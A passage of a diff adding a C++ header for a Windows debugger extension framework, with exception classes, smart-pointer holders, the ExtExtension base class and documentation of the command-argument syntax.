GetStatus(void) + { + return m_Status; + } + HRESULT SetStatus(__in HRESULT Status) + { + m_Status = Status; + return Status; + } + + PCSTR GetMessage(void) + { + return m_Message; + } + void SetMessage(__in_opt PCSTR Message) + { + m_Message = Message; + } + + void PrintMessageVa(__in_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars, + __in PCSTR Format, + __in va_list Args); + void WINAPIV PrintMessage(__in_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars, + __in PCSTR Format, + ...); + +protected: + HRESULT m_Status; + PCSTR m_Message; +}; + +class ExtRemoteException : public ExtException +{ +public: + ExtRemoteException(__in HRESULT Status, + __in PCSTR Message) + : ExtException(Status, Message) { } +}; + +class ExtStatusException : public ExtException +{ +public: + ExtStatusException(__in HRESULT Status, + __in_opt PCSTR Message = NULL) + : ExtException(Status, Message) { } +}; + +class ExtInterruptException : public ExtException +{ +public: + ExtInterruptException(void) + : ExtException(HRESULT_FROM_NT(STATUS_CONTROL_C_EXIT), + "Operation interrupted by request") { } +}; + +class ExtCheckedPointerException : public ExtException +{ +public: + ExtCheckedPointerException(__in PCSTR Message) + : ExtException(E_INVALIDARG, Message) { } +}; + +class ExtInvalidArgumentException : public ExtException +{ +public: + ExtInvalidArgumentException(__in PCSTR Message) + : ExtException(E_INVALIDARG, Message) { } +}; + +//---------------------------------------------------------------------------- +// +// A checked pointer ensures that its value is non-NULL. +// This kind of wrapper is used for engine interface pointers +// so that extensions can simply use whatever interface they +// prefer with soft failure against engines that don't support +// the desired interfaces. +// +//---------------------------------------------------------------------------- + +template +class ExtCheckedPointer +{ +public: + ExtCheckedPointer(__in PCSTR Message) + { + m_Message = Message; + m_Ptr = NULL; + } + + bool IsSet(void) + { + return m_Ptr != NULL; + } + void Throw(void) throw(...) + { + if (!m_Ptr) + { + throw ExtCheckedPointerException(m_Message); + } + } + _T* Get(void) throw(...) + { + Throw(); + return m_Ptr; + } + void Set(__in_opt _T* Ptr) + { + m_Ptr = Ptr; + } + + bool operator==(const _T* Ptr) const + { + return m_Ptr == Ptr; + } + bool operator!=(const _T* Ptr) const + { + return !(*this == Ptr); + } + + operator _T*(void) throw(...) + { + return Get(); + } + _T* operator->(void) throw(...) + { + return Get(); + } + _T** operator&(void) + { + return &m_Ptr; + } + ExtCheckedPointer<_T>& operator=(ExtCheckedPointer<_T>& Ptr) + { + Set(Ptr.m_Ptr); + return *this; + } + ExtCheckedPointer<_T>& operator=(__in_opt _T* Ptr) + { + Set(Ptr); + return *this; + } + +protected: + PCSTR m_Message; + _T* m_Ptr; +}; + +//---------------------------------------------------------------------------- +// +// An unknown holder is a safe pointer for an IUnknown. +// It automatically checks for NULL usage and calls +// Release on destruction. +// +//---------------------------------------------------------------------------- + +template +class ExtUnknownHolder +{ +public: + ExtUnknownHolder(void) + { + m_Unk = NULL; + } + ~ExtUnknownHolder(void) + { + EXT_RELEASE(m_Unk); + } + + _T* Get(void) throw(...) + { + if (!m_Unk) + { + throw ExtStatusException(E_NOINTERFACE, + "ExtUnknownHolder NULL reference"); + } + return m_Unk; + } + void Set(__in_opt _T* Unk) + { + EXT_RELEASE(m_Unk); + m_Unk = Unk; + } + void Relinquish(void) + { + m_Unk = NULL; + } + + bool operator==(const _T* Unk) const + { + return m_Unk == Unk; + } + bool operator!=(const _T* Unk) const + { + return !(*this == Unk); + } + + operator _T*(void) throw(...) + { + return Get(); + } + _T* operator->(void) throw(...) + { + return Get(); + } + _T** operator&(void) + { + if (m_Unk) + { + throw ExtStatusException(E_NOINTERFACE, + "ExtUnknownHolder non-NULL & reference"); + } + return &m_Unk; + } + ExtUnknownHolder<_T>& operator=(ExtUnknownHolder<_T>& Unk) + { + Set(Unk.m_Unk); + return *this; + } + ExtUnknownHolder<_T>& operator=(_T* Unk) + { + Set(Unk); + return *this; + } + +protected: + _T* m_Unk; +}; + +//---------------------------------------------------------------------------- +// +// A delete holder is a safe pointer for a dynamic object. +// It automatically checks for NULL usage and calls +// delete on destruction. +// +//---------------------------------------------------------------------------- + +template +class ExtDeleteHolder +{ +public: + ExtDeleteHolder(void) + { + m_Ptr = NULL; + } + ~ExtDeleteHolder(void) + { + delete m_Ptr; + } + + _T* New(void) throw(...) + { + _T* Ptr = new _T; + if (!Ptr) + { + throw ExtStatusException(E_OUTOFMEMORY); + } + Set(Ptr); + return Ptr; + } + _T* New(ULONG Elts) throw(...) + { + if (Elts > (ULONG_PTR)-1 / sizeof(_T)) + { + throw ExtStatusException + (HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW), + "ExtDeleteHolder::New count overflow"); + } + _T* Ptr = new _T[Elts]; + if (!Ptr) + { + throw ExtStatusException(E_OUTOFMEMORY); + } + Set(Ptr); + return Ptr; + } + + _T* Get(void) throw(...) + { + if (!m_Ptr) + { + throw ExtStatusException(E_INVALIDARG, + "ExtDeleteHolder NULL reference"); + } + return m_Ptr; + } + void Set(__in_opt _T* Ptr) + { + delete m_Ptr; + m_Ptr = Ptr; + } + void Relinquish(void) + { + m_Ptr = NULL; + } + + bool operator==(const _T* Ptr) const + { + return m_Ptr == Ptr; + } + bool operator!=(const _T* Ptr) const + { + return !(*this == Ptr); + } + + operator _T*(void) throw(...) + { + return Get(); + } + _T* operator->(void) throw(...) + { + return Get(); + } + _T** operator&(void) + { + if (m_Ptr) + { + throw ExtStatusException(E_INVALIDARG, + "ExtDeleteHolder non-NULL & reference"); + } + return &m_Ptr; + } + ExtDeleteHolder<_T>& operator=(ExtDeleteHolder<_T>& Ptr) + { + Set(Ptr.m_Ptr); + return *this; + } + ExtDeleteHolder<_T>& operator=(_T* Ptr) + { + Set(Ptr); + return *this; + } + +protected: + _T* m_Ptr; +}; + +//---------------------------------------------------------------------------- +// +// A current-thread holder is an auto-cleanup holder +// for restoring the debugger's current thread. +// +//---------------------------------------------------------------------------- + +class ExtCurrentThreadHolder +{ +public: + ExtCurrentThreadHolder(void) + { + m_ThreadId = DEBUG_ANY_ID; + } + ExtCurrentThreadHolder(__in ULONG Id) + { + m_ThreadId = Id; + } + ExtCurrentThreadHolder(__in bool DoRefresh) + { + if (DoRefresh) + { + Refresh(); + } + } + ~ExtCurrentThreadHolder(void) + { + Restore(); + } + + void Refresh(void) throw(...); + void Restore(void); + + ULONG m_ThreadId; +}; + +//---------------------------------------------------------------------------- +// +// A current-process holder is an auto-cleanup holder +// for restoring the debugger's current process. +// +//---------------------------------------------------------------------------- + +class ExtCurrentProcessHolder +{ +public: + ExtCurrentProcessHolder(void) + { + m_ProcessId = DEBUG_ANY_ID; + } + ExtCurrentProcessHolder(__in ULONG Id) + { + m_ProcessId = Id; + } + ExtCurrentProcessHolder(__in bool DoRefresh) + { + if (DoRefresh) + { + Refresh(); + } + } + ~ExtCurrentProcessHolder(void) + { + Restore(); + } + + void Refresh(void) throw(...); + void Restore(void); + + ULONG m_ProcessId; +}; + +//---------------------------------------------------------------------------- +// +// Descriptive information kept for all extension commands. +// Automatic help and parameter parsing are built on top +// of this descriptive info. +// +// The argument format is described below with EXT_COMMAND. +// +//---------------------------------------------------------------------------- + +typedef void (ExtExtension::*ExtCommandMethod)(void); + +class ExtCommandDesc +{ +public: + ExtCommandDesc(__in PCSTR Name, + __in ExtCommandMethod Method, + __in PCSTR Desc, + __in_opt PCSTR Args); + ~ExtCommandDesc(void); + + ExtExtension* m_Ext; + ExtCommandDesc* m_Next; + PCSTR m_Name; + ExtCommandMethod m_Method; + PCSTR m_Desc; + PCSTR m_ArgDescStr; + bool m_ArgsInitialized; + + // + // Derived by parsing the argument description string. + // + + struct ArgDesc + { + PCSTR Name; + PCSTR DescShort; + PCSTR DescLong; + PCSTR Default; + ULONG Boolean:1; + ULONG Expression:1; + ULONG ExpressionSigned:1; + ULONG ExpressionDelimited:1; + ULONG String:1; + ULONG StringRemainder:1; + ULONG Required:1; + ULONG Present:1; + ULONG DefaultSilent:1; + ULONG ExpressionBits; + }; + + bool m_CustomArgParsing; + PSTR m_CustomArgDescShort; + PSTR m_CustomArgDescLong; + PSTR m_OptionChars; + PSTR m_ArgStrings; + ULONG m_NumArgs; + ULONG m_NumUnnamedArgs; + ArgDesc* m_Args; + + void ClearArgs(void); + void DeleteArgs(void); + PSTR ParseDirective(__in PSTR Scan) throw(...); + void ParseArgDesc(void) throw(...); + void ExInitialize(__in ExtExtension* Ext) throw(...); + + ArgDesc* FindArg(__in PCSTR Name); + ArgDesc* FindUnnamedArg(__in ULONG Index); + + static void Transfer(__out ExtCommandDesc** Commands, + __out PULONG LongestName); + + static ExtCommandDesc* s_Commands; + static ULONG s_LongestCommandName; +}; + +//---------------------------------------------------------------------------- +// +// Known-struct formatting support. +// In order to automatically advertise known structs for +// formatting an extension should point ExtExtension::m_KnownStructs +// at an array of descriptors. Callbacks will then be sent +// automatically to the formatting methods when necessary. +// +// The final array entry should have TypeName == NULL. +// +//---------------------------------------------------------------------------- + +// Data formatting callback for known structs. +// On entry the append buffer will be set to the target buffer. +typedef void (ExtExtension::*ExtKnownStructMethod) + (__in PCSTR TypeName, + __in ULONG Flags, + __in ULONG64 Offset); + +struct ExtKnownStruct +{ + PCSTR TypeName; + ExtKnownStructMethod Method; + bool SuppressesTypeName; +}; + +//---------------------------------------------------------------------------- +// +// Pseudo-register value provider support. +// In order to automatically advertise extended values +// an extension should point ExtExtension::m_ProvidedValues +// at an array of descriptors. Callbacks will then be sent +// automatically to the provider methods when necessary. +// +// The final array entry should have ValueName == NULL. +// +//---------------------------------------------------------------------------- + +// Value retrieval callback. +typedef void (ExtExtension::*ExtProvideValueMethod) + (__in ULONG Flags, + __in PCWSTR ValueName, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags); + +struct ExtProvidedValue +{ + PCWSTR ValueName; + ExtProvideValueMethod Method; +}; + +//---------------------------------------------------------------------------- +// +// Base class for all extensions. An extension DLL will +// have a single instance of a derivation of this class. +// The instance global is automatically declared by macros. +// As the instance is a global the initialization and uninitialization +// is explicit instead of driven through construction and destruction. +// +//---------------------------------------------------------------------------- + +class ExtExtension +{ +public: + ExtExtension(void); + + // + // Initialization and uninitialization. + // + + virtual HRESULT Initialize(void); + virtual void Uninitialize(void); + + // + // Notifications. + // + + virtual void OnSessionActive(__in ULONG64 Argument); + virtual void OnSessionInactive(__in ULONG64 Argument); + virtual void OnSessionAccessible(__in ULONG64 Argument); + virtual void OnSessionInaccessible(__in ULONG64 Argument); + + // + // Overridable initialization state. + // + + USHORT m_ExtMajorVersion; + USHORT m_ExtMinorVersion; + ULONG m_ExtInitFlags; + + ExtKnownStruct* m_KnownStructs; + ExtProvidedValue* m_ProvidedValues; + + // + // Interface and callback pointers. These + // interfaces are retrieved on entry to an extension. + // + + ExtCheckedPointer m_Advanced; + ExtCheckedPointer m_Client; + ExtCheckedPointer m_Control; + ExtCheckedPointer m_Data; + ExtCheckedPointer m_Registers; + ExtCheckedPointer m_Symbols; + ExtCheckedPointer m_System; + + // These derived interfaces may be NULL on + // older engines which do not support them. + // The checked pointers will automatically + // protect access. + ExtCheckedPointer m_Advanced2; + ExtCheckedPointer m_Advanced3; + ExtCheckedPointer m_Client2; + ExtCheckedPointer m_Client3; + ExtCheckedPointer m_Client4; + ExtCheckedPointer m_Client5; + ExtCheckedPointer m_Control2; + ExtCheckedPointer m_Control3; + ExtCheckedPointer m_Control4; + ExtCheckedPointer m_Data2; + ExtCheckedPointer m_Data3; + ExtCheckedPointer m_Data4; + ExtCheckedPointer m_Registers2; + ExtCheckedPointer m_Symbols2; + ExtCheckedPointer m_Symbols3; + ExtCheckedPointer m_System2; + ExtCheckedPointer m_System3; + ExtCheckedPointer m_System4; + + // + // Interesting information about the session. + // These values are retrieved on entry to an extension. + // + + ULONG m_OutputWidth; + + // Actual processor type. + ULONG m_ActualMachine; + + // Current machine mode values, not actual + // machine mode values. Generally these are + // the ones you want to look at. + // If you care about mixed CPU code, such as WOW64, + // you may need to also get the actual values. + ULONG m_Machine; + ULONG m_PageSize; + ULONG m_PtrSize; + ULONG m_NumProcessors; + ULONG64 m_OffsetMask; + + // + // Queries about the current debuggee information available. + // The type and qualifier are automatically retrieved. + // + + ULONG m_DebuggeeClass; + ULONG m_DebuggeeQual; + ULONG m_DumpFormatFlags; + + bool m_IsRemote; + bool m_OutCallbacksDmlAware; + + bool IsUserMode(void) + { + return m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS; + } + bool IsKernelMode(void) + { + return m_DebuggeeClass == DEBUG_CLASS_KERNEL; + } + bool IsLiveLocalUser(void) + { + return + m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS && + m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS; + } + bool IsMachine32(__in ULONG Machine) + { + return + Machine == IMAGE_FILE_MACHINE_I386 || + Machine == IMAGE_FILE_MACHINE_ARM; + } + bool IsCurMachine32(void) + { + return IsMachine32(m_Machine); + } + bool IsMachine64(__in ULONG Machine) + { + return + Machine == IMAGE_FILE_MACHINE_AMD64 || + Machine == IMAGE_FILE_MACHINE_IA64; + } + bool IsCurMachine64(void) + { + return IsMachine64(m_Machine); + } + bool Is32On64(void) + { + return IsCurMachine32() && IsMachine64(m_ActualMachine); + } + bool CanQueryVirtual(void) + { + return + m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS || + m_DebuggeeClass == DEBUG_CLASS_IMAGE_FILE; + } + bool HasFullMemBasic(void) + { + return + m_DebuggeeClass == DEBUG_CLASS_USER_WINDOWS && + (m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS || + m_DebuggeeQual == DEBUG_USER_WINDOWS_PROCESS_SERVER || + m_DebuggeeQual == DEBUG_USER_WINDOWS_DUMP || + (m_DebuggeeQual == DEBUG_USER_WINDOWS_SMALL_DUMP && + (m_DumpFormatFlags & + DEBUG_FORMAT_USER_SMALL_FULL_MEMORY_INFO) != 0)); + } + bool IsExtensionRemote(void) + { + return m_IsRemote; + } + bool AreOutputCallbacksDmlAware(void) + { + // Applies to callbacks present in client + // at the start of the extension command. + // If the extension changes the output callbacks + // the value does not automatically update. + // RefreshOutputCallbackFlags can be used + // to update this flag after unknown output + // callbacks are installed. + return m_OutCallbacksDmlAware; + } + + // + // Common mode checks which throw on mismatches. + // + + void RequireUserMode(void) + { + if (!IsUserMode()) + { + throw ExtStatusException(S_OK, "user-mode only"); + } + } + void RequireKernelMode(void) + { + if (!IsKernelMode()) + { + throw ExtStatusException(S_OK, "kernel-mode only"); + } + } + + // + // Output through m_Control. + // + + // Defaults to DEBUG_OUTPUT_NORMAL, but can + // be overridden to produce different output. + // Warn, Err and Verb are convenience routines for + // the warning, error and verbose cases. + ULONG m_OutMask; + + void WINAPIV Out(__in PCSTR Format, + ...); + void WINAPIV Warn(__in PCSTR Format, + ...); + void WINAPIV Err(__in PCSTR Format, + ...); + void WINAPIV Verb(__in PCSTR Format, + ...); + void WINAPIV Out(__in PCWSTR Format, + ...); + void WINAPIV Warn(__in PCWSTR Format, + ...); + void WINAPIV Err(__in PCWSTR Format, + ...); + void WINAPIV Verb(__in PCWSTR Format, + ...); + + void WINAPIV Dml(__in PCSTR Format, + ...); + void WINAPIV DmlWarn(__in PCSTR Format, + ...); + void WINAPIV DmlErr(__in PCSTR Format, + ...); + void WINAPIV DmlVerb(__in PCSTR Format, + ...); + void WINAPIV Dml(__in PCWSTR Format, + ...); + void WINAPIV DmlWarn(__in PCWSTR Format, + ...); + void WINAPIV DmlErr(__in PCWSTR Format, + ...); + void WINAPIV DmlVerb(__in PCWSTR Format, + ...); + + void DmlCmdLink(__in PCSTR Text, + __in PCSTR Cmd) + { + Dml("%s", Cmd, Text); + } + void DmlCmdExec(__in PCSTR Text, + __in PCSTR Cmd) + { + Dml("%s", Cmd, Text); + } + + void RefreshOutputCallbackFlags(void) + { + m_OutCallbacksDmlAware = false; + if (m_Advanced2.IsSet() && + m_Advanced2-> + Request(DEBUG_REQUEST_CURRENT_OUTPUT_CALLBACKS_ARE_DML_AWARE, + NULL, 0, NULL, 0, NULL) == S_OK) + { + m_OutCallbacksDmlAware = true; + } + } + + // + // Wrapped text output support. + // + + ULONG m_CurChar; + ULONG m_LeftIndent; + bool m_AllowWrap; + bool m_TestWrap; + ULONG m_TestWrapChars; + // m_OutputWidth is also used. + + // OutWrap takes the given string and displays it + // wrapped in the appropriate space. It doesn't + // account for tabs, backspaces, internal returns, etc. + // Uses all wrapping state and updates m_CurChar. + void WrapLine(void); + void OutWrapStr(__in PCSTR String); + void WINAPIV OutWrapVa(__in PCSTR Format, + __in va_list Args); + void WINAPIV OutWrap(__in PCSTR Format, + ...); + + // Wraps if the given number of characters wouldn't + // fit on the current line. + bool DemandWrap(__in ULONG Chars) + { + if (m_CurChar + Chars >= m_OutputWidth) + { + WrapLine(); + return true; + } + + return false; + } + + // Wrapping can be suppressed to allow blocks of + // output to be unsplit but to still get cur char + // tracking. + void AllowWrap(__in bool Allow) + { + m_AllowWrap = Allow; + } + + // Output can be suppressed, allowing collection + // of character counts as a way to pre-test whether + // a set of output will wrap. + void TestWrap(__in bool Test) + { + m_TestWrap = Test; + if (Test) + { + m_TestWrapChars = 0; + } + } + + // + // A circular string buffer is available for + // handing out multiple static strings. + // + + PSTR RequestCircleString(__in ULONG Chars) throw(...); + PSTR CopyCircleString(__in PCSTR Str) throw(...); + PSTR PrintCircleStringVa(__in PCSTR Format, + __in va_list Args) throw(...); + PSTR WINAPIV PrintCircleString(__in PCSTR Format, + ...) throw(...); + + // + // String buffer with append support. + // Throws on buffer overflow. + // + + PSTR m_AppendBuffer; + ULONG m_AppendBufferChars; + PSTR m_AppendAt; + + void SetAppendBuffer(__in_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars); + void AppendBufferString(__in PCSTR Str) throw(...); + void AppendStringVa(__in PCSTR Format, + __in va_list Args) throw(...); + void WINAPIV AppendString(__in PCSTR Format, + ...) throw(...); + + bool IsAppendStart(void) + { + return m_AppendAt == m_AppendBuffer; + } + + // + // Set the return status for an extension call + // if a specific non-S_OK status needs to be returned. + // + + void SetCallStatus(__in HRESULT Status); + + // + // Cached symbol info. The cache is + // automatically flushed when the backing + // symbol info changes. + // + + ULONG GetCachedSymbolTypeId(__inout PULONG64 Cookie, + __in PCSTR Symbol, + __out PULONG64 ModBase); + ULONG GetCachedFieldOffset(__inout PULONG64 Cookie, + __in PCSTR Type, + __in PCSTR Field, + __out_opt PULONG64 ModBase = NULL, + __out_opt PULONG TypeId = NULL); + bool GetCachedSymbolInfo(__in ULONG64 Cookie, + __out PDEBUG_CACHED_SYMBOL_INFO Info); + bool AddCachedSymbolInfo(__in PDEBUG_CACHED_SYMBOL_INFO Info, + __in bool ThrowFailure, + __out PULONG64 Cookie); + + // + // Module information helpers. + // + + void GetModuleImagehlpInfo(__in ULONG64 ModBase, + __out struct _IMAGEHLP_MODULEW64* Info); + bool ModuleHasGlobalSymbols(__in ULONG64 ModBase); + bool ModuleHasTypeInfo(__in ULONG64 ModBase); + + // + // Incoming argument parsing results. + // Results are guaranteed to obey the form + // of the argument description for a command. + // Mismatched usage, such as a string retrieval + // for a numeric argument, will result in an exception. + // + + ULONG GetNumUnnamedArgs(void) + { + return m_NumUnnamedArgs; + } + + PCSTR GetUnnamedArgStr(__in ULONG Index) throw(...); + ULONG64 GetUnnamedArgU64(__in ULONG Index) throw(...); + bool HasUnnamedArg(__in ULONG Index) + { + return Index < m_NumUnnamedArgs; + } + + PCSTR GetArgStr(__in PCSTR Name, + __in bool Required = true) throw(...); + ULONG64 GetArgU64(__in PCSTR Name, + __in bool Required = true) throw(...); + bool HasArg(__in PCSTR Name) + { + return FindArg(Name, false) != NULL; + } + bool HasCharArg(__in CHAR Name) + { + CHAR NameStr[2] = {Name, 0}; + return FindArg(NameStr, false) != NULL; + } + + bool SetUnnamedArg(__in ULONG Index, + __in_opt PCSTR StrArg, + __in ULONG64 NumArg, + __in bool OnlyIfUnset = false) throw(...); + bool SetUnnamedArgStr(__in ULONG Index, + __in PCSTR Arg, + __in bool OnlyIfUnset = false) throw(...) + { + return SetUnnamedArg(Index, Arg, 0, OnlyIfUnset); + } + bool SetUnnamedArgU64(__in ULONG Index, + __in ULONG64 Arg, + __in bool OnlyIfUnset = false) throw(...) + { + return SetUnnamedArg(Index, NULL, Arg, OnlyIfUnset); + } + + bool SetArg(__in PCSTR Name, + __in_opt PCSTR StrArg, + __in ULONG64 NumArg, + __in bool OnlyIfUnset = false) throw(...); + bool SetArgStr(__in PCSTR Name, + __in PCSTR Arg, + __in bool OnlyIfUnset = false) throw(...) + { + return SetArg(Name, Arg, 0, OnlyIfUnset); + } + bool SetArgU64(__in PCSTR Name, + __in ULONG64 Arg, + __in bool OnlyIfUnset = false) throw(...) + { + return SetArg(Name, NULL, Arg, OnlyIfUnset); + } + + PCSTR GetRawArgStr(void) + { + return m_RawArgStr; + } + PSTR GetRawArgCopy(void) + { + // This string may be chopped up if + // the default argument parsing occurred. + return m_ArgCopy; + } + + PCSTR GetExpr64(__in PCSTR Str, + __in bool Signed, + __in ULONG64 Limit, + __out PULONG64 Val) throw(...); + PCSTR GetExprU64(__in PCSTR Str, + __in ULONG64 Limit, + __out PULONG64 Val) throw(...) + { + return GetExpr64(Str, false, Limit, Val); + } + PCSTR GetExprS64(__in PCSTR Str, + __in LONG64 Limit, + __out PLONG64 Val) throw(...) + { + return GetExpr64(Str, true, (ULONG64)Limit, (PULONG64)Val); + } + + void DECLSPEC_NORETURN ThrowCommandHelp(void) throw(...) + { + if (m_CurCommand) + { + HelpCommand(m_CurCommand); + } + throw ExtStatusException(E_INVALIDARG); + } + void ThrowInterrupt(void) throw(...) + { + if (m_Control->GetInterrupt() == S_OK) + { + throw ExtInterruptException(); + } + } + void DECLSPEC_NORETURN ThrowOutOfMemory(void) throw(...) + { + throw ExtStatusException(E_OUTOFMEMORY); + } + void DECLSPEC_NORETURN ThrowContinueSearch(void) throw(...) + { + throw ExtStatusException(DEBUG_EXTENSION_CONTINUE_SEARCH); + } + void DECLSPEC_NORETURN ThrowReloadExtension(void) throw(...) + { + throw ExtStatusException(DEBUG_EXTENSION_RELOAD_EXTENSION); + } + void DECLSPEC_NORETURN WINAPIV ThrowInvalidArg(__in PCSTR Format, + ...) throw(...); + void DECLSPEC_NORETURN WINAPIV ThrowRemote(__in HRESULT Status, + __in PCSTR Format, + ...) throw(...); + void DECLSPEC_NORETURN WINAPIV ThrowStatus(__in HRESULT Status, + __in PCSTR Format, + ...) throw(...); + void DECLSPEC_NORETURN WINAPIV + ThrowLastError(__in PCSTR Message = NULL) throw(...) + { + ExtStatusException Ex(HRESULT_FROM_WIN32(GetLastError()), + Message); + throw Ex; + } + + // + // Internal data. + // + + static HMODULE s_Module; + static char s_String[2000]; + static char s_CircleStringBuffer[2000]; + static char* s_CircleString; + + ExtCommandDesc* m_Commands; + ULONG m_LongestCommandName; + HRESULT m_CallStatus; + HRESULT m_MacroStatus; + + struct ArgVal + { + PCSTR Name; + PCSTR StrVal; + ULONG64 NumVal; + }; + static const ULONG s_MaxArgs = 64; + + ExtCommandDesc* m_CurCommand; + PCSTR m_RawArgStr; + PSTR m_ArgCopy; + ULONG m_NumArgs; + ULONG m_NumNamedArgs; + ULONG m_NumUnnamedArgs; + ULONG m_FirstNamedArg; + // Unnamed args are packed in the front. + ArgVal m_Args[s_MaxArgs]; + + bool m_ExInitialized; + + void ExInitialize(void) throw(...); + + HRESULT Query(__in PDEBUG_CLIENT Start); + void Release(void); + + HRESULT CallCommandMethod(__in ExtCommandDesc* Desc, + __in_opt PCSTR Args); + HRESULT CallCommand(__in ExtCommandDesc* Desc, + __in PDEBUG_CLIENT Client, + __in_opt PCSTR Args); + + HRESULT CallKnownStructMethod(__in ExtKnownStruct* Struct, + __in ULONG Flags, + __in ULONG64 Offset, + __out_ecount(*BufferChars) PSTR Buffer, + __inout PULONG BufferChars); + HRESULT CallKnownStruct(__in PDEBUG_CLIENT Client, + __in ExtKnownStruct* Struct, + __in ULONG Flags, + __in ULONG64 Offset, + __out_ecount(*BufferChars) PSTR Buffer, + __inout PULONG BufferChars); + HRESULT HandleKnownStruct(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in ULONG64 Offset, + __in_opt PCSTR TypeName, + __out_ecount(*BufferChars) PSTR Buffer, + __inout PULONG BufferChars); + + HRESULT HandleQueryValueNames(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __out_ecount(BufferChars) PWSTR Buffer, + __in ULONG BufferChars, + __out PULONG BufferNeeded); + HRESULT CallProvideValueMethod(__in ExtProvidedValue* ExtVal, + __in ULONG Flags, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags); + HRESULT HandleProvideValue(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in PCWSTR Name, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags); + + ArgVal* FindArg(__in PCSTR Name, + __in bool Required) throw(...); + PCSTR SetRawArgVal(__in ExtCommandDesc::ArgDesc* Check, + __in_opt ArgVal* Val, + __in bool ExplicitVal, + __in_opt PCSTR StrVal, + __in bool StrWritable, + __in ULONG64 NumVal) throw(...); + void ParseArgs(__in ExtCommandDesc* Desc, + __in_opt PCSTR Args) throw(...); + + void OutCommandArg(__in ExtCommandDesc::ArgDesc* Arg, + __in bool Separate); + void HelpCommandArgsSummary(__in ExtCommandDesc* Desc); + void HelpCommand(__in ExtCommandDesc* Desc); + void HelpCommandName(__in PCSTR Name); + void HelpAll(void); + void help(void); +}; + +//---------------------------------------------------------------------------- +// +// Global forwarders for common methods. +// +//---------------------------------------------------------------------------- + +#if !defined(EXT_NO_OUTPUT_FUNCTIONS) + +void WINAPIV ExtOut(__in PCSTR Format, ...); +void WINAPIV ExtWarn(__in PCSTR Format, ...); +void WINAPIV ExtErr(__in PCSTR Format, ...); +void WINAPIV ExtVerb(__in PCSTR Format, ...); + +#endif // #if !defined(EXT_NO_OUTPUT_FUNCTIONS) + +//---------------------------------------------------------------------------- +// +// Supporting macros and utilities. +// +//---------------------------------------------------------------------------- + +// If you wish to override the class name that is used +// as the derivation from ExtExtension define it +// before including this file. Otherwise the class +// will be named 'Extension'. +#ifndef EXT_CLASS +#define EXT_CLASS Extension +#endif + +extern ExtCheckedPointer g_Ext; +extern ExtExtension* g_ExtInstancePtr; + +// Put a single use of this macro in one source file. +#define EXT_DECLARE_GLOBALS() \ +EXT_CLASS g_ExtInstance; \ +ExtExtension* g_ExtInstancePtr = &g_ExtInstance + +// Use this macro to forward-declare a command method in your class +// declaration. +#define EXT_COMMAND_METHOD(_Name) \ +void _Name(void) + +//---------------------------------------------------------------------------- +// +// Use this macro to declare an extension command implementation. It +// will declare the base function that will be exported and +// will start a method on your class for the command +// implementation. +// +// The description string given will automatically be wrapped to +// fit the space it is being displayed in. Newlines can be embedded +// to force a new line but are not necessary for formatting. +// +// The argument string describes the arguments expected by the +// command. It is a sequence of the following two major components. +// +// Directives: {{}} +// +// Indicates a special non-argument directive. Directives are: +// custom - Extension does its own argument parsing. +// Default parsing is disabled. +// l: - Custom long argument description. The +// long argument description is a full description +// for each argument. +// opt: - Defines the option prefix characters for +// commands that don't want to use the default +// / and -. +// s: - Custom short argument description. The +// short argument description is the argument summary +// shown with the command name. +// +// Examples: +// +// {{custom}}{{s: }}{{l:arg1 - Argument 1\narg2 - Argument 2}} +// +// This defines an extension command that parses its own arguments. +// Such a command should give custom help strings so that the automatic +// !help support has something to display, such as the short and +// long descriptions given here. +// +// {{opt:+:}} +// +// This changes the argument option prefix characters to + and :, +// so that +arg and :arg can be used instead of /arg and -arg. +// +// Arguments: {[];[[,]];[];[]} +// +// Defines an argument for the extension. An argument +// has several parts. +// +// - Gives the argument's option name that is given +// in an argument string to pass the argument. +// Arguments can be unnamed if they are going +// to be handed positionally. Unnamed arguments +// are processed in the order given. +// +// - Indicates the type of the argument. The possibilities are: +// b - Boolean (present/not-present) argument, for flags. +// e[d][s][] - Expression argument for getting numeric values. +// d - Indicates that the expression should be limited +// to the next space-delimited subset of the overall +// argument string. This prevents accidental evaluation +// of other data following the expression and so +// can avoid otherwise unnecessary symbol resolution. +// s - Indicates the value is signed and a +// bit-size limit can be given for values +// that are less than 64-bit. +// s - Space-delimited string argument. +// x - String-to-end-of-args string argument. +// +// - Modifies argument behavior. +// d= - Sets default value for argument. +// ds - Indicates that the default value should not be +// displayed in an argument description. +// o - Argument is optional (default for named arguments). +// r - Argument is required (default for unnamed arguments). +// +// - Argument name to show for the value in help output. +// This is separate from the option name for non-boolean +// arguments since they can have both a name and a value. +// For boolean arguments the argument name is not used. +// +// - Long argument description to show in help output. +// +// Examples: +// +// {;e32,o,d=0x100;flags;Flags to control command} +// +// This defines a command with a single optional expression argument. The +// argument value must fit in 32 bits. If the argument isn't specified +// the default value of 0x100 will be used. +// +// {v;b;;Verbose mode}{;s;name;Name of object} +// +// This defines a command with an optional boolean /v and a required +// unnamed string argument. +// +// {oname;e;expr;Address of object}{eol;x;str;Commands to use} +// +// This defines a command which has an optional expression argument +// /oname and an optional end-of-string argument /eol . +// If /eol is present it will get the remainder of the command string +// and no further arguments will be parsed. +// +// /? is automatically provided for all commands unless custom +// argument parsing is indicated. +// +// A NULL or empty argument string indicates no arguments. +// Commands are currently limited to a maximum of 64 arguments. +// +//---------------------------------------------------------------------------- + +#define EXT_CLASS_COMMAND(_Class, _Name, _Desc, _Args) \ +ExtCommandDesc g_##_Name##Desc(#_Name, \ + (ExtCommandMethod)&_Class::_Name, \ + _Desc, \ + _Args); \ +EXTERN_C HRESULT CALLBACK \ +_Name(__in PDEBUG_CLIENT Client, \ + __in_opt 